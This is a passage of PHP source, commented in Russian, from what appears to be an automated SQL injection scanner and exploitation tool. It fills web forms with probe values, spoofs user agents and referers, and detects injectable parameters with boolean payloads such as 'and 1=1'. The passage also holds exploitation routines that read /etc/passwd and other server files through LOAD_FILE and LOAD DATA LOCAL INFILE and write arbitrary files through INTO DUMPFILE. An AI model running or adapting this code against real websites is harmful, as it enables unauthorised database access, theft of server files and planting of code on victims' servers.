!=''){\n\t\t\t\t\t\tif($pp !=''){$str.=$pp.'='.$value['value'].\"\u0026\";}else{$str.=$value['name'].'='.$value['value'].\"\u0026\";}\n\t\t\t\t\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($pp !=''){$str.=$pp.'='.$value['value'].\"\u0026\";}else{$str.=$value['value'].'='.$value['value'].\"\u0026\";}\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t//$this-\u003ed($pp,'$pp');\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match('/name/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=Terlimpopok'.$r.'\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/Nachna/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=Terlimpopok'.$r.'\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/surna/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=Terlimpopok'.$r.'\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/user/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=Terlimpopokuser'.$r.'\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/pass/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand(5);\n\t\t\t\t\t\t$str.=$pp.'=jZsBSzejAI\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/ddress/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=Streetlenyau_13'.$r.'\u0026';\n\t\t\t\t\t}\n\t\t\t\telseif(preg_match('/mail/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = $this-\u003estr_rand();\n\t\t\t\t\t\t$str.=$pp.'=good'.$r.'@webgood.org\u0026';\n\t\t\t\t\t}\n\t\t\t\t\telseif(preg_match('/phone/i',$pp,$math))\n\t\t\t\t\t{\n\t\t\t\t\t\t$r = rand(10000,99999);\n\t\t\t\t\t\t$str.=$pp.'=198211'.$r.'\u0026';\n\t\t\t\t\t}else{\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t$str.=$pp.'=_sqli_\u0026';\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t//break;\t\n\t\t}\n\t\t\n\t\t$str = substr($str,0,-1);\n\t\t$this-\u003ed($str,'$str');\n\t\t//exit;\t\t\n\t\t \n\t\t return  $str;\n\t\t\n\t}\n\t\n\tpublic function form_page_full_query($act,$form_post_query){//Полный get c query\n\t\t$form_page_full_query = $act.'?'.$form_post_query;\n\t\treturn $form_page_full_query;\n\t}\t\n\t\t\n\tpublic function form_page_url($url){ //зайти на страницу и взять контакт html и отравить на распарсивание WEB_GET_PAGE\n\t\t\n\t\t$url = str_replace(array('http://','htpps://'),'',$url);\n\t\t\n\t\t$tempurl = parse_url('http://'.$url);\n\t\t\n\t\t$this-\u003eform_host = $tempurl['host'];\n\t\t\n\t\t//$this-\u003ed($tempurl,'$tempurl');\n\t\t\n\t\t$ch = curl_init(); \n\t\t$headers = array\n\t\t(\n\t\t\t'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',\n\t\t\t'Accept-Language: ru,en-us;q=0.7,en;q=0.3',\n\t\t\t'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'\n\t\t); \n\n\t\t      $uagent = array(\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\",\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial\",\t\t  \n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus; .NET CLR 1.1.4322; InfoPath.1)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; SV1; .NET CLR 1.0.3705)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ds-66843412; Sgrunt|V109|1|S-66843412|dial; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; eMusic DLM/3; MSN Optimized;US; MSN Optimized;US)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.025; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.179[128]; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; InfoPath.1)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.04b)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; Sgrunt|V109|1746|S-1740532934|dialno; snprtz|dialno; .NET CLR 2.0.50727)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; IEMB3; IEMB3; yplus 5.1.04b)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=none; FunWebProducts; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=none; SV1; snprtz|S04087544802137; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; yplus 5.6.02b)\");\n\t\t\n\t\t  ///рандомные значения\n\t\t\n\t\t  $ua = trim($uagent[mt_rand(0,sizeof($uagent)-1)]);\t\n\t\t\n\t\tif($this-\u003ehttps)\n\t\t{\n\t\t\t$url_new = 'https://'.$url;\n\t\t}else\n\t\t{\n\t\t\t$url_new = 'http://'.$url;\n\t\t}\n\t\t\n\t\t//$this-\u003ed($url_new,'$url_new 1');\n\t\tcurl_setopt( $ch, CURLOPT_HTTPHEADER,$headers); \n\t\tcurl_setopt ($ch, CURLOPT_URL,$url_new);\n\t\tcurl_setopt ($ch, CURLOPT_HEADER, 1);\n\t\tcurl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); \n\t\tcurl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);\n\t\tcurl_setopt ($ch, CURLOPT_FAILONERROR, 1); // Fail on errors\n\t\tcurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 20);\n\t\tcurl_setopt ($ch, CURLOPT_REFERER, \"http://google.com\");\n\t\tcurl_setopt ($ch, CURLOPT_USERAGENT, $ua);\n\t\tcurl_setopt ($ch, CURLOPT_COOKIEFILE, 'coo.txt'); \n\t\tcurl_setopt ($ch, CURLOPT_COOKIEJAR, 'coo.txt'); \n\t\t$con = curl_exec($ch); \n\t\t\n\t\tcurl_close ($ch);\n\t\t\n\t\t//$this-\u003ed($con,'$con 1');\n\t\t//exit;\n\t\t\n\t\treturn $con;\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t}\n\t\n\tpublic function form_search($cont){ //глвная по получению формы\n\t\t\n\t\t$find_form = $this-\u003epage_analize('utf-8',$cont);\n\t\t\n\t\t//$this-\u003ed($find_form,'$find_form');\n\t\t\n\t\tif(count($find_form) \u003e0)\n\t\t{\n\t\t\t\n\t\t\tforeach($find_form as $find_form_one)\n\t\t\t{\n\t\t\t\t$find_form_one = '\u003cform'.$find_form_one.'\u003c/form\u003e';\n\t\t\t\t//$this-\u003ed($find_form_one,'$find_form_one');\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t$get_form = new HtmlFormParser($find_form_one);\n\t\t\t\t//$this-\u003ed($get_form,'$get_form');\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$form_in = $get_form-\u003eparseForms();\n\t\t\t\t//$this-\u003ed($form_in,'$form_in');\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(count($form_in)\u003e0)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\treturn $form_in;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\t\n\t\t\n\t}\n\t\n\tpublic function page_analize($charset_http,\u0026$content){//ищем формы на странице\t\n\t\n\n\t//1. переводим кодировку в utf-8\n\t$charset=($this-\u003echarset_known($charset_http)?$charset_http:false);\n\t$charset_meta=false;//сюда поместим указанную\n\t$this-\u003ehtml_minimize($content);\n\t$lower=strtolower($content);\n\t$e=explode('\u003cmeta ',$lower);//\u003cmeta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"\u003e\n\t\n\tif(count($e)\u003e1)\n\t\t{\n\t\t\tunset($e[0]);//здесь её точно нет\n\t\t\tforeach($e as \u0026$meta)\n\t\t\t{\n\t\t\t\t$p=strpos($meta,'\u003e');\n\t\t\t\tif(false!==$p)\n\t\t\t\t{\n\t\t\t\t\t$meta=substr($meta,0,$p);//http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"\n\t\t\t\t if((false!==strpos($meta,'content-type'))\u0026\u0026(false!==strpos($meta,'http-equiv=')))\n\t\t\t\t\t{\n\t\t\t\t\t\t$meta_content=$this-\u003eget_attr_value($meta,'content');//text/html; charset=utf-8\n\t\t\t\t\t\tif(false!==$meta_content)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$charset_meta=$this-\u003eget_attr_value($meta_content,'charset');//text/html; charset=utf-8\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(false!==$charset_meta)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($this-\u003echarset_known($charset_meta))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$charset=$charset_meta;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\telseif((false!==strpos($meta,'charset')))\n\t\t\t\t\t{\n\t\t\t\t\t\t$charset_meta=$this-\u003eget_attr_value($meta,'charset');//charset=\"utf-8\"\n\t\t\t\t\t\tif(false!==$charset_meta)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($this-\u003echarset_known($charset_meta))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$charset=$charset_meta;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t};\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\tunset($meta);\n\t\t};\n\tunset($e);\n\n\n\t//если нашли кодировку, она известна и она не utf-8, то переводим в utf-8\n\tif((false!==$charset)\u0026\u0026('utf-8'!==$charset))\n\t{\n\t\t$content=@iconv($charset,'utf-8',$content);\n\t\t$lower=strtolower($content);\n\t\n\t};\n\t\n\t//$this-\u003ed($lower,'$lower');\n\t\n\n\t//2. ищем форму\n\t//already - html_minimize($lower);\n\t$forms=array();\n\t$e=explode('\u003cform',$lower);\n\t\n\t\n\tif(count($e)\u003e1)\n\t{\n\t\tunset($e[0]);//здесь её точно нет\\\n\t\t\n\t\t\n\t\tforeach($e as $form)\n\t\t{\n\t\t\t$e2=explode('\u003c/form\u003e',$form,3);\n\t\t\t\n\t\t\t//$this-\u003ed($e2,'$e2');\n\t\t\t\n\t\t\tif(count($e2) \u003e=1)\n\t\t\t{\n\t\t\t\t//if(!$this-\u003eform_is_search($e2[0]))\n\t\t\t\t//{\n\t\t\t\t\t$forms[]=$e2[0];\n\t\t\t\t//};\n\t\t\t}\n\t\t};\n\t};\n\t\n\t\n\t\tunset($e);\n\t\t\n\t\t//$this-\u003ed($forms,'$forms');\t\n\t\n\t\treturn $forms;\n\t}\n\n\tpublic function html_minimize(\u0026$s){\n\t\t$this-\u003espacer($s);\n\t\tstatic $f=array('\u003e ',' \u003e','\u003c ',' \u003c','/\u003e','\u003c\u003e','= ',' =',);\n\t\tstatic $t=array('\u003e' , '\u003e','\u003c' , '\u003c', '\u003e',''  ,'=' ,'=' ,);\n\t\t$l=strlen($s);\n\t\tdo{\n\t\t\t$l_=$l;\n\t\t\t$s=str_replace($f,$t,$s);\n\t\t\t$l=strlen($s);\n\t\t}while($l\u003c$l_);\n\t}\n\n\tpublic function spacer(\u0026$s){//заменяет все пробельные символы на пробелы. Если пробелов несколько подряд - заменяет одним.\n\t\tstatic $f=array(\"\\t\",\"\\n\",\"\\r\",\"\\v\",'\u0026nbsp;','\u003cbr\u003e');\n\t\tstatic $t=array(' ',' ',' ',' ',' ',' ');\n\t\t$s=str_replace($f,$t,$s);\n\t\t$s=trim($s);\n\t\t$l=strlen($s);\n\t\tdo\n\t\t{\n\t\t\t$l_=$l;\n\t\t\t$s=str_replace('  ',' ',$s);\n\t\t\t$l=strlen($s);\n\t\t}while($l\u003c$l_);\n\t}\t\n\n\tpublic function innerText($in){//нормализованный html_minimize($in)\n\t\tstatic $no_space_tags=array('b','i','u','s','big','span','font','small','strong');\n\t\t$e=explode('\u003c',$in);\n\t\t$t=$e[0];\n\t\tunset($e[0]);\n\t\t\n\t\tif(count($e)\u003e0)\n\t\t\t{\n\t\t\t\tforeach($e as \u0026$s)\n\t\t\t\t{\n\t\t\t\t\t$e2=explode('\u003e',$s,2);\n\t\t\t\t\t$c=count($e2);\n\t\t\t\t\t\n\t\t\t\t\tif($c\u003e0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\t//выясняем таг\n\t\t\t\t\t\t\t$tag=$e2[0];\n\t\t\t\t\t\t\t$p=strpos($tag,' ');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(false!==$p)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tag=substr($tag,0,$p);\n\t\t\t\t\t\t};\n\t\t\t\t\t\t\n\t\t\t\t\t\t// проверяем теги, которые не надо отделять пробелами\n\t\t\t\t\t\tif(!in_array(strtolower($tag),$no_space_tags))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$t.=' ';\n\t\t\t\t\t\t};\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(isset($e2[1]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$t.=$e2[1];\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t//таг не закрыт\n\t\t\t\t\t};\t\n\t\t\t\t};\n\t\t\t};\n\t\t$this-\u003espacer($t);\n\t\treturn $t;\n\t}\n\n\tpublic function charset_known(\u0026$charset){\n\t\t\n\tstatic $cs=array(\n\t//Unicode:\n\t\t'utf-8','ucs2-internal','iso-10646-ucs-2','unicode-1-1-utf-7',\n\t//EUC:\n\t\t'euc-jp','gb2312','euc-kr','x-euc-tw',\n\t//ISO-2022:\n\t\t'iso-2022-cn','iso-2022-jp','iso-2022-kr','iso-2022-jp-2',\n\t//ISO:\n\t\t'us-ascii','iso-8859-1','iso-8859-2','iso-8859-3','iso-8859-4',\n\t\t'iso-8859-5','iso-8859-6','iso-8859-7','iso-8859-8','iso-8859-9',\n\t\t'iso-8859-10','iso-8859-13','iso-8859-14','iso-8859-15',\n\t//KOI:\n\t\t'koi8-r','koi8-u','x-koi8-ru',\n\t//Windows:\n\t\t'windows-1250','windows-1251','windows-1252','windows-1253',\n\t\t'windows-1254','windows-1255','windows-1256','windows-1257',\n\t\t'windows-1258','cp874','cp932','cp936','cp949','cp950',\n\t//IBM-DOS:\n\t\t'cp437','cp737','cp775','cp850','cp852','cp855','cp857','cp860',\n\t\t'cp861','cp862','cp863','cp864','cp865','cp866','cp869','cp874',\n\t//Apple:\n\t\t'x-mac-ce','x-mac-croatian','x-mac-cyrillic','x-mac-dingbats',\n\t\t'x-mac-greek','x-mac-iceland','x-mac-roman','x-mac-romania',\n\t\t'x-mac-thai','x-mac-turkish','x-mac-ukraine',\n\t//CJK:\n\t\t'big5','cns11643','gb_2312-80','gb12345','johab','ksx1001',\n\t\t'shift_jis','jis_x0201','jis_x0208-1983','jis_x0212-1990',\n\t\t);\n\t\t$charset=strtolower($charset);\n\t\treturn in_array($charset,$cs,true);\n\t}\n\t\t\n\tpublic function get_attr_value($s,$attr){//получить значение html-аттрибута. html д.б. нормализован (минимизирован)\n\t\t$r=false;\n\t\t$n=$attr.'=';\n\t\t$p=stripos($s,$n);\n\t\t\n\t\tif(false!==$p)\n\t\t{\n\t\t\t$s=substr($s,$p+strlen($n));\n\t\t\tif(''==$s){$s='';return $s;};\n\n\t\t\t$q=false;\n\t\t\t\n\t\t\tif('\"'===$s[0])\n\t\t\t{\n\t\t\t\t$q='\"';\n\t\t\t\t$s=substr($s,1);\n\t\t\t}\n\t\t\telseif('\\''===$s[0])\n\t\t\t{\n\t\t\t\t$q='\\'';\n\t\t\t\t$s=substr($s,1);\n\t\t\t};\n\t\t\t\n\t\t\tif(''==$s){$s='';return $s;};\n\t\t\t\n\t\t\tif(false===$q)\n\t\t\t{\n\t\t\t\t$p=strpos($s,' ');\n\t\t\t\tif(false===$p)\n\t\t\t\t{\n\t\t\t\t\t$r=$s;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$r=substr($s,0,$p);\n\t\t\t\t\tif(''==$r){$r='';}\n\t\t\t\t};\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$p=strpos($s,$q);\n\t\t\t\t\n\t\t\t\tif(false===$p)\n\t\t\t\t{\n\t\t\t\t\t$r=$s;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$r=substr($s,0,$p);\n\t\t\t\t\tif(''==$r){$r='';}\n\t\t\t\t};\n\t\t\t};\n\t\t};\t\t\t\t\n\t\treturn $r;\n\t}\n\t\t\n\tpublic function str_rand($length=5){\n\t\t\n\t\t$letters = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';\n\t$word_lenght = 5;\n\t$size_letters = strlen($letters)-1;\n\tfor($i=0;$i\u003c5;$i++){\n\twhile($word_lenght--){\n\t$pass.=$letters[rand(0,$size_letters)];\n\t}\n\t$word_lenght = 5;\n\t$password =$pass;\n\t$pass = '';\n\t}\n\t$password = substr($password,0,strlen($password)-1);\n\treturn $password;\n\n\t}\t\n\t\t\n\tpublic function form_is_search($form){\n\t\t//echo pre($form,'$form//form_is_search()');\n\t\t$p=strpos($form,'search');\n\t\treturn(false!==$p);\n\n\t}\t\n\t\n\t\n\t/////////////////////////////////////////////////////////////////\n\t/////////АЛГОРИМ НАХОЖДЕНИЯ SQLI на основе анализа слов//////////\n\t/////////////////////////////////////////////////////////////////\n\t\n\tfunction urlMultiCheckmethod($url=''){\n\t\t\n\t\t$this-\u003eheader = false;\n\t\t\n\t\t$urls = $this-\u003eurlParseUrl($url);\n\t\t\n\t\t\n\t\tforeach ($urls as $url_chek)\n\t\t{\n\t\t\t\n\t\t\t$chek = $this-\u003eurlChekMethod($url_chek);\n\t\t\t\n\t\t\tif($chek!==false)\n\t\t\t{\n\t\t\t\t$this-\u003eheader = true;\n\t\t\t\t//return array($url_chek,$chek);\n\t\t\t\treturn 'boolean';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t$this-\u003eheader = true;\n\t\treturn false;\n\t\t\n\t}\n\t\n\tfunction urlChekMethod($url){\n\t\t\t\t\n\t\t$this-\u003eurl = $url;\n\t\t$this-\u003emethod = false;\n\t\t//$this-\u003ecolumn = false;\n\t\t\n\t\t$this-\u003emysqlGetKeyword();\n\t\t\n\t\t//$this-\u003ed($this-\u003ekey_word,'$this-\u003ekey_word');\n\t\t\n\t\t$this-\u003emysqlGetMethod();\n\t\t\n\t\t$this-\u003ed($this-\u003emethod,'$this-\u003emethod');\n\t\t\n\t\tif($this-\u003emysqlCheKonec($url)==false)return FALSE;\n\t\t\n\t\t\n\t\t\n\t\tif($this-\u003emethod===0){\n\t    \treturn 'integer';\n\t    \t\n\t    \t\n\t    }elseif ($this-\u003emethod==1){\n\t    \t\n\t    \treturn \"string(')\";\n\t    \n\t    }elseif ($this-\u003emethod==2){\n\t    \t\n\t    \treturn 'string(\")';\n\t    \t\n\t    }else{\n\t    \treturn false;\n\t    }\n\n\t\tdie();\n\t}\n\t\n\tfunction mysqlGetKeyword(){ //ищет уник слова\n\n\t\t\n\t\t$cont = $this-\u003egetContents($this-\u003eurl);\n\t\t//$this-\u003ed($cont,'cont-'.$this-\u003eurl);\n\t\t\n\t\t\n\t\t$get = $this-\u003egetWord($cont);\n\t\t//$this-\u003ed($get,'get');\n\t\t\n\t\t\n\t\t$contnull = $this-\u003egetContents($this-\u003eurl.\"2121121121212.1\");\n\t\t//$this-\u003ed($contnull,'contnull-'.$this-\u003eurl.\"2121121121212.1\");\n\t\t\n\t\t\n\t\t$getnull = $this-\u003egetWord($contnull);\n\t\t//$this-\u003ed($getnull,'getnull');\n\t\n\t\t\n\t\t\n\t\t$result = array_diff($get,$getnull);\n\t\t$result = array_unique($result);\n\t\t//$this-\u003ed($result,'result');\n\t\t\n\t\t\t\n\t\tif(count($result)==0){\n\t\t\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t\n\t\t$result = array_slice($result,0,1); \n\t\t//$this-\u003ed($result,'result slice');\n\t\t\n\t\t$this-\u003ekey_word = $result[0]; \n\t\t//echo $result;\n\t\t//die();\n\t}\n\t\n\tfunction mysqlGetMethod(){//с разными приставки анализирует вхождение слов, проверка на sqli\n\t\t\n\n\t\tif(empty($this-\u003ekey_word))return FALSE;\n\t\t\n\t\t///////\n\t\t\n\t\t$string[0]  = \"+and+1%3D1\";// and 1=1\n\t\t$string[1]  = \"+and+1%3E1\";//and 1\u003e1\n\t\t\n\t\t\n\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$string[0]);\n\t\t$str2 = $this-\u003egetContents($this-\u003eurl.$string[1]);\n\t\t\n\n\t\t$i=0;\n\t\t\n\t\tif(strstr($str1, $this-\u003ekey_word) AND !strstr($str2, $this-\u003ekey_word))\n\t\t{\n\t\t\t$rezus = 0;\n\t\t}else\n\t\t{\n\t\t\t$i+=1;\n\t\t}\n\t\t\n\t\t//STRINGE\n\t\t\n\t\t$string[0]  = \"%27+and+%27x%27%3D%27x\";//' and 'x'='x\n\t\t$string[1]  = \"%27+and+%27x%27%3D%27y\";//' and 'x'='y\n\t\t\n\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$string[0]);\n\t\t$str2 = $this-\u003egetContents($this-\u003eurl.$string[1]);\n\n\t\t\n\t\tif(strstr($str1, $this-\u003ekey_word) AND !strstr($str2, $this-\u003ekey_word))\n\t\t{\n\t\t\t$rezus = 1;\n\t\t}else\n\t\t{\n\t\t\t$i+=1;\n\t\t}\n\n\t\t\n\t\n\t\t$string[0]  = '\"+and+\"x\"%3D\"x'; //\" and \"x\"=\"x\n\t\t$string[1]  = '%22+and+%22x%22%3D%22y';//\" and \"x\"=\"y\n\t\t\n\t\t\n\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$string[0]);\n\t\t$str2 = $this-\u003egetContents($this-\u003eurl.$string[1]);\n\t\t\n\t\n\t\n\t\tif(strstr($str1, $this-\u003ekey_word) AND !strstr($str2, $this-\u003ekey_word))\n\t\t{\n\t\t\t$rezus = 2;\n\t\t}else\n\t\t{\n\t\t\t$i+=1;\n\t\t}\n\t\t\n\t\t\n\t\tif($i\u003c3)\n\t\t{\t\n\t\t\t$this-\u003emethod = $rezus;\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn FALSE;\n\n\t}\n\t\n\tfunction mysqlCheKonec($url){\n\t\t\n\t\t$file = $this-\u003egetContents($url.$this-\u003ekonec_for_chek[$this-\u003emethod]);\n\n\t\tif(empty($this-\u003ekey_word))return false;\n\t\t\n\t\tif(strstr($file, $this-\u003ekey_word))return true;\n\t\t\n\t\treturn false;\n\t}\n\t\n\tfunction getWord($file){//функция отдаёт обратно только чистый текст и помещает в массив с разбивкой по пробелам\n\t\t\n\t\t\n\t\t//\u003cbr\u003e\n\t\n\t\t$file = str_replace(array(\"'\",'\"',\"\\r\",',','.','-','\u003cbr\u003e','\u003c/br\u003e'), ' ', $file);\n\t\t//preg_match_all(\"/[^a-zA-Zа-яА-Я0-9]/is\",$file,$word);\n\t\t$file = explode(' ', $file);\n\t\treturn $file;\n\t\n\t}\n\t\n\t\t/////////////LOAD_FILE//////////////\n\t\n\tfunction upload_file($code,$file){\n\t\n\t\t\n\t\t$this-\u003edumpfile = true;\n\n\t\t$this-\u003ework[0]=1;\n\t\t\n\t\t$data = $this-\u003emysqlGetValue('','',\"$code\",$limit=0,$order=array(),$where=\"INTO DUMPFILE '$file'\");\n\t\t\n\t\treturn $data;\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mysqlDumperFilter($code){\n\t\t\n\t\t//$code = str_replace(\"CONCAT(CHAR(100,100,100),CHAR(91,88,93),\",'',$code);\n\t\t//$code = str_replace(\",CHAR(91,88,88,93))\",'',$code);\n\t\t$code = str_replace(\"limit 0,1\",'',$code);\n\t\t$code = str_replace(\"  INTO\",' INTO',$code);\n\t\t$code = str_replace(\"CONCAT(CHAR(100,100,100),CHAR(91,88,93),\",'',$code);\n\t\t$code = str_replace(\",CHAR(91,88,88,93))\",'',$code);\n\t\t$code = str_replace(\"CHAR(91,88,93),\",'',$code);\n\t\t$code = str_replace(\",CHAR(91,88,88,93)\",'',$code);\n\t\t\n\t\t$code = trim($code);\n\t\treturn $code;\n\t\t\n\t\t\n\t}\n\t\n\tfunction load_file_priv(){\n\t\t\n\t\t\n\t\t$data = $this-\u003emysqlGetValue('mysql','user','file_priv');\n\t\treturn $data;\n\t}\n\t\n\tfunction load_file($pss){\n\t\t\n\t$data = $this-\u003emysqlGetValue('','',\"LOAD_FILE('{$pss}')\",$limit=0,$order=array(),$where='');\n\t\t\n\t\treturn $data;\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction load_file_local($pss){\n\t\t\n\t\t$pole = \"LOAD DATA LOCAL INFILE '{$pss}' INTO TABLE pentest FIELDS TERMINATED BY\".' \\'\\n\\'';\n\t\t\n\t\t$this-\u003ed($pole,'$pole');\n\t\t//exit;\n\t\t\n\t\t$data = $this-\u003emysqlGetValue('','',$pole,$limit=0,$order=array(),$where='');\n\t\t\n\t\treturn $data;\n\t\t\n\t\t//LOAD DATA LOCAL INFILE '/etc/passwd'\n\t\t\n\t}\n\t\n\tfunction load_passwd(){\n\t\t\n\t\t$load_f = $this-\u003eload_file('/etc/passwd');\n\t\t\t\n\t\t\n\t\t\t\n\t\tif($load_f[\"LOAD_FILE('/etc/passwd')\"] !='')\n\t\t{\n\t\t\t\n\t\t\t//$this-\u003ed($load_f[\"LOAD_FILE('/etc/passwd')\"],'load_f default');\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\t//$this-\u003ed('NETU','load_f');\n\t\t\treturn false;\n\t\t}\n\t\t$passwd = $load_f[\"LOAD_FILE('/etc/passwd')\"];\n\t\t\n\t\t$passwd_one = explode(\"\\n\",$passwd); \n\t\t//$this-\u003ed($passwd_one,'$passwd_one');\n\t\t\n\t\tif(count($passwd_one) \u003e 5)\n\t\t{\n\t\t\t\n\n\t\t\t$passwd_new = array();\n\t\t\n\t\t\tforeach ($passwd_one as $pps)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$pss = trim($pps);\n\t\t\t\t\n\t\t\tif(!preg_match(\"/shutdown|sync|cronjob|mysql|root|nginx|mqueue|daemon|clamav|spool/i\",$pss)){\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$pss = str_replace(\":/bin/bash\",'',$pss);\n\t\t\t\t\t$pss = str_replace(\"::\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/bin/sh\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/sbin/halt\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/bin/false\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/sbin/sh\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/sbin/bash\",':',$pss);\n\t\t\t\t\t$pss = str_replace(\":/sbin/nologin\",':',$pss);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$pss_one = 